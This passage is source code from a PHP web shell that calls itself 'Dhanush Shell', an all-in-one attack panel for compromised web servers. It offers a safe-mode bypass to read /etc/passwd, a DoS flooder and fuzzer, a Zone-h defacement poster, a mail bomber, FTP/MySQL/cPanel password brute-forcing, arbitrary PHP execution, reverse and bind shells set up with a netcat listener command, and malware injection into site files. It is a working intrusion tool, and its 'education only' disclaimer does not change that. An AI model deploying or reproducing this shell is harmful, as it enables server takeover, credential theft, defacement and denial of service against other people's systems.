align=\"center\">\r\n\t\t\t\t\t\t<p>Using symlink() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('symlnk',sym.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"sym\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('symlnk',sym.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=2 align=\"center\">\r\n\t\t\t\t\t\t<p>Using Bypass function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('newtype',newtype.value,optiontype.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"newtype\" value=\"/etc/passwd\" class=\"sbox\"> \r\n\t\t\t\t\t\t<select id=\"optiontype\" class=sbox>\r\n\t\t\t\t\t\t<option value=\"tac\">tac</option>\r\n\t\t\t\t\t\t<option value=\"more\">more</option>\r\n\t\t\t\t\t\t<option value=\"less\">less</option>\r\n\t\t\t\t\t\t<option value=\"rev\">rev</option>\r\n\t\t\t\t\t\t<option value=\"xxd\">xxd</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t<input type=\"button\" OnClick=\"bypassfun('newtype',newtype.value,optiontype.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t</table>\r\n\t</form>\r\n\t<?php\r\n}\r\n//fuzzer\r\nelse if(isset(\$_GET['fuzz']))\r\n{\r\n ?>\r\n <form method=\"GET\">\r\n <table id=\"margins\">\r\n <tr>\r\n <td width=\"400\" class=\"title\">\r\n IP\r\n </td>\r\n <td>\r\n <input class=\"box\" name=\"myip\" value=\"127.0.0.1\" onFocus=\"if(this.value == '127.0.0.1')this.value = '';\" onBlur=\"if(this.value=='')this.value='127.0.0.1';\"/>\r\n </td>\r\n </tr>\r\n \r\n <tr>\r\n <td class=\"title\">\r\n Port\r\n </td>\r\n <td>\r\n <input class=\"box\" name=\"port\" value=\"80\" onFocus=\"if(this.value == '80')this.value = '';\" onBlur=\"if(this.value=='')this.value='80';\"/>\r\n </td>\r\n </tr>\r\n \r\n <tr>\r\n <td class=\"title\">\r\n Timeout\r\n </td>\r\n <td>\r\n <input type=\"text\" class=\"box\" name=\"time\" value=\"5\" onFocus=\"if(this.value == '5')this.value = '';\" onBlur=\"if(this.value=='')this.value='5';\"/>\r\n </td>\r\n </tr>\r\n \r\n \r\n <tr>\r\n <td class=\"title\">\r\n No of times\r\n </td>\r\n <td>\r\n <input type=\"text\" class=\"box\" name=\"times\" value=\"100\" onFocus=\"if(this.value == '100')this.value = '';\" onBlur=\"if(this.value=='')this.value='100';\" />\r\n </td>\r\n </tr>\r\n \r\n <tr>\r\n <td class=\"title\">\r\n Message (The message Should be long and it will be multiplied with the value after it)\r\n </td>\r\n <td>\r\n <input class=\"box\" name=\"message\" value=\"%S%x--Some Garbage here --%x%S\" onFocus=\"if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';\" onBlur=\"if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';\"/>\r\n </td>\r\n <td>\r\n x\r\n </td>\r\n <td width=\"20\">\r\n <input style=\"width: 30px;\" class=\"box\" name=\"messageMultiplier\" value=\"10\" />\r\n </td>\r\n </tr>\r\n \r\n <tr>\r\n <td rowspan=\"2\">\r\n <input style=\"margin : 20px; margin-left: 500px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)\" class=\"but\" value=\" Submit \"/>\r\n </td>\r\n </tr>\r\n </table> \r\n </form><div id=\"showdos\"></div>\r\n <?php\r\n}\r\n// Zone-h Poster\r\n\telse if(isset(\$_GET[\"zone\"]))\r\n\t{ \r\n\t\tif(!function_exists('curl_version'))\r\n\t\t{\r\n\t\t\techo \"<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>\";\r\n\t\t}\r\n\t\t?>\r\n\t\t<center><font size=\"4\" color=\"#FF0000\">Zone-h Poster</font></center>\r\n\t\t<form action=\"<?php echo \$self; ?>\" method=\"post\">\r\n\t\t<table align=\"center\" cellpadding=\"5\" border=\"0\">\r\n\t\t<tr>\r\n\t\t<td>\r\n\t\t<input type=\"text\" name=\"defacer\" value=\"Attacker\" class=\"box\" /></td></tr>\r\n\t\t<tr><td>\r\n\t\t<select name=\"hackmode\" class=\"box\">\r\n\t\t\t<option >--------SELECT--------</option>\r\n\t\t\t<option value=\"1\">known vulnerability (i.e. unpatched system)</option>\r\n\t\t\t<option value=\"2\" >undisclosed (new) vulnerability</option>\r\n\t\t\t<option value=\"3\" >configuration / admin. mistake</option>\r\n\t\t\t<option value=\"4\" >brute force attack</option>\r\n\t\t\t<option value=\"5\" >social engineering</option>\r\n\t\t\t<option value=\"6\" >Web Server intrusion</option>\r\n\t\t\t<option value=\"7\" >Web Server external module intrusion</option>\r\n\t\t\t<option value=\"8\" >Mail Server intrusion</option>\r\n\t\t\t<option value=\"9\" >FTP Server intrusion</option>\r\n\t\t\t<option value=\"10\" >SSH Server intrusion</option>\r\n\t\t\t<option value=\"11\" >Telnet Server intrusion</option>\r\n\t\t\t<option value=\"12\" >RPC Server intrusion</option>\r\n\t\t\t<option value=\"13\" >Shares misconfiguration</option>\r\n\t\t\t<option value=\"14\" >Other Server intrusion</option>\r\n\t\t\t<option value=\"15\" >SQL Injection</option>\r\n\t\t\t<option value=\"16\" >URL Poisoning</option>\r\n\t\t\t<option value=\"17\" >File Inclusion</option>\r\n\t\t\t<option value=\"18\" >Other Web Application bug</option>\r\n\t\t\t<option value=\"19\" >Remote administrative panel access bruteforcing</option>\r\n\t\t\t<option value=\"20\" >Remote administrative panel access password guessing</option>\r\n\t\t\t<option value=\"21\" >Remote administrative panel access social engineering</option>\r\n\t\t\t<option value=\"22\" >Attack against administrator(password stealing/sniffing)</option>\r\n\t\t\t<option value=\"23\" >Access credentials through Man In the Middle attack</option>\r\n\t\t\t<option value=\"24\" >Remote service password guessing</option>\r\n\t\t\t<option value=\"25\" >Remote service password bruteforce</option>\r\n\t\t\t<option value=\"26\" >Rerouting after attacking the Firewall</option>\r\n\t\t\t<option value=\"27\" >Rerouting after attacking the Router</option>\r\n\t\t\t<option value=\"28\" >DNS attack through social engineering</option>\r\n\t\t\t<option value=\"29\" >DNS attack through cache poisoning</option>\r\n\t\t\t<option value=\"30\" >Not available</option>\r\n\t\t</select>\r\n\t\t</td></tr>\r\n\t\t<tr><td>\r\n\t\t<select name=\"reason\" class=\"box\">\r\n\t\t\t<option >--------SELECT--------</option>\r\n\t\t\t<option value=\"1\" >Heh...just for fun!</option>\r\n\t\t\t<option value=\"2\" >Revenge against that website</option>\r\n\t\t\t<option value=\"3\" >Political reasons</option>\r\n\t\t\t<option value=\"4\" >As a challenge</option>\r\n\t\t\t<option value=\"5\" >I just want to be the best defacer</option>\r\n\t\t\t<option value=\"6\" >Patriotism</option>\r\n\t\t\t<option value=\"7\" >Not available</option>\r\n\t\t</select></td></tr>\r\n\t\t<tr><td>\r\n\t\t<textarea name=\"domain\" class=\"box\" cols=\"47\" rows=\"9\">List Of Domains</textarea></td></tr>\r\n\t\t<tr><td>\r\n\t\t<input type=\"button\" onClick=\"zoneh(defacer.value,hackmode.value,reason.value,domain.value)\" class=\"but\" value=\"Send Now !\" /></td></tr></table>\r\n\t\t</form><div id=\"showzone\"></div>\r\n\t<?php }\r\n//DDos\r\n\telse if(isset(\$_GET['dos']))\r\n\t{ \r\n\t\t?>\r\n\t\t\t<form method=\"GET\">\r\n\t\t\t\t<table id=\"margins\">\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td width=\"400\" class=\"title\">\r\n\t\t\t\t\t\t\tIP\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input class=\"box\" name=\"myip\" value=\"127.0.0.1\" onFocus=\"if(this.value == '127.0.0.1')this.value = '';\" onBlur=\"if(this.value=='')this.value='127.0.0.1';\"/>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\t\t\tPort\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input class=\"box\" name=\"port\" value=\"80\" onFocus=\"if(this.value == '80')this.value = '';\" onBlur=\"if(this.value=='')this.value='80';\"/>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\t\t\tTimeout <font >(Time in seconds)</font>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<input type=\"text\" class=\"box\" name=\"timeout\" value=\"5\" onFocus=\"if(this.value == '5')this.value = '';\" onBlur=\"if(this.value=='')this.value='5';\" />\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\tExecution Time <font >(Time in seconds)</font> \r\n\t\t\t\t</td>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input type=\"text\" class=\"box\" name=\"exTime\" value=\"10\" onFocus=\"if(this.value == '10')this.value = '';\" onBlur=\"if(this.value=='')this.value='10';\"/>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td class=\"title\">\r\n\t\t\t\t\tNo of Bytes per/packet\r\n\t\t\t\t</td>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<input type=\"text\" class=\"box\" name=\"noOfBytes\" value=\"999999\" onFocus=\"if(this.value == '999999')this.value = '';\" onBlur=\"if(this.value=='')this.value='999999';\"/>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td rowspan=\"2\">\r\n\t\t\t\t\t<input style=\"margin : 20px; margin-left: 500px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')\" class=\"but\" value=\" Attack >> \"/>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t</table> \r\n\t</form><div id=\"showdos\"></div>\r\n\t<?php\r\n}\r\nelse if(isset(\$_GET['mailbomb']))\r\n{ ?>\r\n\t<center><table><tr><td><a href=javascript:void(0) onClick=\"getdata('bomb')\"><font class=txt size=\"4\">| Mail Bomber |</font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('mail')\"><font class=txt size=\"4\">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>\r\n<?php\r\n}\r\nelse if(isset(\$_GET['tools']))\r\n\t{ \r\n\t\t?>\r\n\t\t<center><br><form onSubmit=\"getport(host.value,protocol.value);return false;\">\r\n\t\t<table cellpadding=\"5\" border=\"3\" style=\"border-color:#333333; width:50%;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><b><font size='4' color=\"#FF0000\">Port Scanner<br></font></b></td>\r\n\t \t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\">\r\n\t \t\t\t<input class=\"sbox\" type='text' name='host' value='<?php echo \$_SERVER[\"SERVER_ADDR\"]; ?>' >\r\n\t\t\t\t</td>\r\n\t \t\t\t<td align=\"center\">\r\n\t\t\t\t<select class=\"sbox\" name='protocol'>\r\n\t \t\t\t\t<option value='tcp'>tcp</option>\r\n\t \t\t\t\t<option value='udp'>udp</option>\r\n\t \t\t\t</select>\r\n\t\t\t\t</td>\r\n\t \t\t<tr>\r\n\t\t\t<td colspan=\"2\" align=\"center\"><input class=\"but\" type='button' onClick=\"getport(host.value,protocol.value)\" value='Scan Ports'></td>\r\n\t\t\t</tr>\r\n\t\t\t</form>\r\n\t\t\t<tr><td colspan=2><div id=\"showports\"></div>\r\n\t\t</td></tr></table>\r\n\t\t\r\n\t\t<br>\r\n\t\t<form onSubmit=\"bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;\">\r\n\t\t<table cellpadding=\"5\" border=\"2\" style=\"border-color:#333333; width:50%;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><font size=\"4\">BruteForce</font></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td>Type : </td>\r\n\t\t\t\t<td>\r\n\t\t\t\t\t<select name=\"prototype\" class=\"sbox\">\r\n\t\t\t\t\t\t<option value=\"ftp\">FTP</option>\r\n\t\t\t\t\t\t<option value=\"mysql\">MYSQL</option>\r\n\t\t\t\t\t\t<option value=\"postgresql\">PostgreSql</option>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td>Server <b>:</b> Port : </td>\r\n\t\t\t\t<td><input type=\"text\" name=\"serverport\" value=\"<?php echo \$_SERVER[\"SERVER_ADDR\"]; ?>\" class=\"sbox\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td valign=\"middle\">Brute type : </td>\r\n\t\t\t\t<td><label><input type=radio name=mytype value=\"1\" checked> /etc/passwd</label><label><input type=checkbox id=\"reverse\" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color=\"#1B1B1B\">\r\n\t\t\t\t<label><input type=radio name=mytype value=\"2\"> Dictionary</label><br>\r\n\t\t\t\tLogin : <input type=\"text\" name=\"login\" value=\"root\" class=\"sbox\"><br>\r\n\t\t\t\tDictionary : <input type=\"text\" name=\"dict\" value=\"<?php echo getcwd() . \$directorysperator; ?>passwd.txt\" class=\"sbox\">\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><input type=\"button\" onClick=\"bruteforce(prototype.value,serverport.value,login.value,dict.value)\" value=\"Attack >>\" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</form><tr><td colspan=\"2\" id=\"showbrute\"></td></tr>\r\n\t\t</table>\r\n\t\t</center><br>\r\n\t\t<?php\r\n}\r\nelse if (isset(\$_GET[\"phpc\"]))\r\n{\r\n\t ?>\r\n\t <div id=\"showresult\"></div>\r\n <form name=\"frm\">\r\n <textarea name=\"code\" class=\"box\" cols=\"120\" rows=\"10\">phpinfo();</textarea>\r\n\t<br /><br />\r\n <input name=\"submit\" value=\"Execute This COde! \" class=\"but\" onClick=\"execode(code.value)\" type=\"button\" />\r\n\t<label><input type=\"checkbox\" id=\"intext\" name=\"intext\" value=\"disp\"> <font class=txt size=\"3\">Display in Textarea</font></label>\r\n </form>\r\n <?php\r\n}\r\nelse if(isset(\$_GET[\"exploit\"]))\r\n{\r\n\tif(!isset(\$_GET[\"rootexploit\"]))\r\n\t{\r\n\t\t?>\r\n\t\t<center>\r\n\t\t<form action=\"<?php echo \$self; ?>\" method=\"get\" target=\"_blank\">\r\n\t\t\t<input type=\"hidden\" name=\"exploit\">\r\n\t\t\t<table border=\"1\" cellpadding=\"5\" cellspacing=\"4\" style=\"width:50%;border-color:#333333;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td style=\"height:60px;\">\r\n\t\t\t<font size=\"4\" class=txt>Select Website</font></td><td>\r\n\t\t<p><select id=\"rootexploit\" name=\"rootexploit\" class=\"box\">\r\n\t\t\t<option value=\"exploit-db\">Exploit-db</option>\r\n\t\t\t<option value=\"packetstormsecurity\">Packetstormsecurity</option>\r\n\t\t\t<option value=\"exploitsearch\">Exploitsearch</option>\r\n\t\t\t<option value=\"shodanhq\">Shodanhq</option>\r\n\t\t</select></p></td></tr><tr><td colspan=\"2\" align=\"center\" style=\"height:40px;\">\r\n\t\t<input type=\"submit\" value=\"Search\" class=\"but\"></td></tr></table>\r\n\t\t</form></center><br>\r\n\t\r\n\t<?php \r\n\t}\r\n\telse\r\n\t{\r\n\t\t//exploit search\r\n\t\t\$Lversion = php_uname(r);\r\n\t\t\$OSV = php_uname(s);\r\n\t\tif(eregi('Linux',\$OSV))\r\n\t\t{\r\n\t\t\t\$Lversion=substr(\$Lversion,0,6);\r\n\t\t\tif(\$_GET['rootexploit'] == \"exploit-db\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"packetstormsecurity\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"exploitsearch\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"shodanhq\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+\$Lversion\");\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$Lversion=substr(\$Lversion,0,3);\r\n\t\t\tif(\$_GET['rootexploit'] == \"exploit-db\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"packetstormsecurity\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"exploitsearch\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t\telse if(\$_GET['rootexploit'] == \"shodanhq\")\r\n\t\t\t{\r\n\t\t\t\theader(\"Location:http://www.shodanhq.com/exploits?q=\$OSV+Lversion\");\r\n\t\t\t}\r\n\t\t}\r\n\t\t//End of Exploit search\r\n\t}\r\n}\r\n// Connect\r\nelse if(isset(\$_REQUEST['connect']))\r\n{\r\n\t?>\r\n\t<form action='<?php echo \$self; ?>' method='POST' >\r\n\t<table style=\"width:50%\" align=\"center\" >\r\n <tr>\r\n <th colspan=\"1\" width=\"50px\">Reverse Shell</th>\r\n <th colspan=\"1\" width=\"50px\">Bind Shell</th>\r\n </tr>\r\n <tr>\r\n <td>\r\n <table style=\"border-spacing: 6px;\">\r\n <tr>\r\n <td>IP </td>\r\n <td>\r\n <input type=\"text\" class=\"box\" style=\"width: 200px;\" name=\"ip\" value=\"<?php yourip();?>\" />\r\n </td>\r\n </tr>\r\n <tr>\r\n <td>Port </td>\r\n <td><input style=\"width: 200px;\" class=\"box\" name=\"port\" size='5' value=\"9891\"/></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td style=\"vertical-align:top;\">Use:</td>\t\r\n\t\t\t\t\t<td><select style=\"width: 95px;\" name=\"lang\" class=\"sbox\">\r\n\t\t\t\t\t\t<option value=\"perl\">Perl</option>\r\n\t\t\t\t\t\t<option value=\"python\">Python</option>\r\n\t\t\t\t\t\t<option value=\"php\">PHP</option>\r\n\t\t\t\t\t\t</select> \r\n\t\t\t\t\t<input type=\"submit\" style=\"width: 90px;\" class=\"but\" value=\"Connect!\" name=\"backconnect\"/></td>\r\n\t\t\t\t</tr>\r\n </table> </form> \r\n </td>\r\n \r\n <td style=\"vertical-align:top;\">\r\n\t\t <form method='post' >\r\n <table style=\"border-spacing: 6px;\">\r\n <tr>\r\n <td>Port</td>\r\n <td>\r\n <input style=\"width: 200px;\" class=\"box\" name=\"port\" value=\"9891\" />\r\n </td>\r\n </tr>\r\n <tr>\r\n <td>Password </td>\r\n <td>\r\n\t\t\t\t\t\t<input style=\"width: 200px;\" class=\"box\" name=\"passwd\" value=\"Dhanush\"/>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Using</td>\r\n\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select style=\"width: 95px;\" name=\"lang\" id=\"lang\" class=\"sbox\">\r\n\t\t\t\t\t\t<option value=\"perl\">Perl</option>\r\n\t\t\t\t\t\t<option value=\"c\">C</option>\r\n\t\t\t\t\t\t</select> \r\n\t\t\t\t\t\t<input style=\"width: 90px;\" class=\"but\" type=\"submit\" name=\"backdoor\" value=\" Bind \"/></td>\r\n </tr>\r\n </table>\r\n </td>\r\n </form>\r\n </tr>\r\n\t<tr><td colspan=2><font color=\"#FF0000\">Click \"Connect\" only after open port for it.Use NetCat, run \"nc -l -n -v -p 9891\"!<br>Click \"Bind\", use netcat and give it the command 'nc <?php yourip(); ?> 9891\"!</font></td></tr>\r\n </table>\r\n\t \r\n\t<?php \r\n\t}\r\n\r\nelse if(isset(\$_REQUEST['404']))\r\n{\r\n\t?>\r\n\t<center><table><tr><td><a href=javascript:void(0) onClick=\"getdata('404new')\"><font class=txt size=\"4\">| Set Your 404 Page |</font></a></td>\r\n\t\t<td><a href=javascript:void(0) onClick=\"getdata('404page')\"><font class=txt size=\"4\">| Set Specified 404 Page |</font></a></td>\r\n\t\t</tr></table></center><br>\r\n\t\t<div id=\"showdata\"></div>\r\n\t<?php \r\n}\r\nelse if(isset(\$_GET['about']))\r\n\t{ ?>\r\n\t\t<center>\r\n\t\t <p><font size=6><u>D h a n u s h</u></font><br>\r\n\t\t <font size=5>[--==Coded By Arjun==--]</font>\r\n\t\t <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>\r\n\r\n - -- -\r\n -- -- --\r\n -- --\r\n --- ---\r\n ------\r\n ----\r\n ---- \r\n ------ \r\n------- \r\n--- -- \r\n -- --- \r\n -- ----- \r\n --- --- --- \r\n --- --- ---\r\n-- --------- --\r\n-- ------- --\r\n -- ---- --\r\n -- --- --\r\n -- -- --\r\n --- --- -- ---\r\n ------ ------\r\n ---- ----\r\n \r\n\r\n\t\t</pre></font></div></center>\r\n\t\t<font class=\"txt\">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a \"All In One\" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>\r\n\t<?php }\r\nelse if(isset(\$_GET['database']))\r\n{ ?>\r\n\t<form onSubmit=\"mydatabase(server.value,username.value,password.value);return false;\">\r\n\t<table id=\"datatable\" style=\"width:90%;\" cellpadding=\"4\" align=\"center\">\r\n\t<tr>\r\n\t\t<td colspan=\"2\">Connect To Database</td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td>Server Address :</td>\r\n\t\t<td><input type=\"text\" class=\"box\" name=\"server\" value=\"localhost\"></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td>Username :</td>\r\n\t\t<td><input type=\"text\" class=\"box\" name=\"username\" value=\"root\"></td>\r\n\t</tr>\r\n\t<tr>\r\n\t\t<td>Password:</td>\r\n\t\t<td><input type=\"text\" class=\"box\" name=\"password\" value=\"\"></td>\r\n\t</tr>\r\n\t\r\n\t<tr>\r\n\t\t<td></td>\r\n\t\t<td><input type=\"button\" onClick=\"mydatabase(server.value,username.value,password.value)\" value=\" Connect \" name=\"executeit\" class=\"but\"></td>\r\n\t</tr>\r\n\t</table>\r\n\t</form>\r\n\t<div id=\"showsql\"></div>\r\n<?php\t\r\n}\r\n// Cpanel Cracker\r\n\telse if(isset(\$_REQUEST['cpanel']))\r\n\t{\r\n\t\t\$cpanel_port=\"2082\";\r\n\t\t\$connect_timeout=5;\r\n\t\t?>\r\n\t\t<center>\r\n\t\t<form method=post>\r\n\t\t<table style=\"width:50%;border-color:#333333;\" border=1 cellpadding=4>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2>Target : <input type=text name=\"server\" value=\"localhost\" class=sbox></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center>User names</td><td align=center>Password</td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center><textarea name=username rows=25 cols=22 class=box><?php \r\n\t\t\t\tif(\$os != \"Windows\")\r\n\t\t\t\t{\r\n\t\t\t\t\tif(@file('/etc/passwd'))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$users = file('/etc/passwd');\r\n\t\t\t\t\t\tforeach(\$users as \$user) \r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$user = explode(':', \$user);\r\n\t\t\t\t\t\t\techo \$user[0] . \"\\n\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$temp = \"\";\r\n\t\t\t\t\t\t\$val1 = 0;\r\n\t\t\t\t\t\t\$val2 = 1000;\r\n\t\t\t\t\t\tfor(;\$val1 <= \$val2;\$val1++) \r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$uid = @posix_getpwuid(\$val1);\r\n\t\t\t\t\t\t\tif (\$uid)\r\n\t\t\t\t\t\t\t\t \$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t \$temp = trim(\$temp);\r\n\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t if(\$file5 = fopen(\"test.txt\",\"w\"))\r\n\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\tfputs(\$file5,\$temp);\r\n\t\t\t\t\t\t\t fclose(\$file5);\r\n\t\t\t\t\t\t\t \r\n\t\t\t\t\t\t\t \$file = fopen(\"test.txt\", \"r\");\r\n\t\t\t\t\t\t\t while(!feof(\$file))\r\n\t\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\t \t\$s = fgets(\$file);\r\n\t\t\t\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\t\techo \$matches;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tfclose(\$file);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2>Guess options : <label><input name=\"cracktype\" type=\"radio\" value=\"cpanel\" checked> Cpanel(2082)</label><label><input name=\"cracktype\" type=\"radio\" value=\"ftp\"> Ftp(21)</label><label><input name=\"cracktype\" type=\"radio\" value=\"telnet\"> Telnet(23)</label></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2>Timeout delay : <input type=\"text\" name=\"delay\" value=5 class=sbox></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=center colspan=2><input type=\"submit\" name=\"cpanelattack\" value=\" Go \" class=but></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t</form>\r\n\t\t</center>\r\n\t\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['malattack']))\r\n{\r\n\t?><input type=\"hidden\" id=\"malpath\" value=\"<?php echo \$_GET[\"dir\"]; ?>\">\r\n\t<center><table><tr><td><a href=# onClick=\"getdata('malware')\"><font class=txt size=\"4\">| Malware Attack |</font></a></td>\r\n\t<td><a href=# onClick=\"getdata('codeinsert')\"><font class=txt size=\"4\">| Insert Own Code |</font></a></td></tr></table></center><br>\r\n\t<div id=\"showdata\"></div>\r\n\t<?php\r\n}\r\nelse if(isset(\$_GET[\"com\"]))\r\n{\r\n\techo \"<br>\";\r\n\tob_start();\r\n\teval(\"phpinfo();\");\r\n\t\$b = ob_get_contents();\r\n\tob_end_clean();\r\n\t\$a = strpos(\$b,\"<body>\")+6; // yeah baby,, your body is wonderland ;-)\r\n\t\$z = strpos(\$b,\"</body>\");\r\n\t\$s_result = \"<div class='myphp'>\".substr(\$b,\$a,\$z-\$a).\"</div>\";\r\n\techo \$s_result;\r\n}\r\nelse 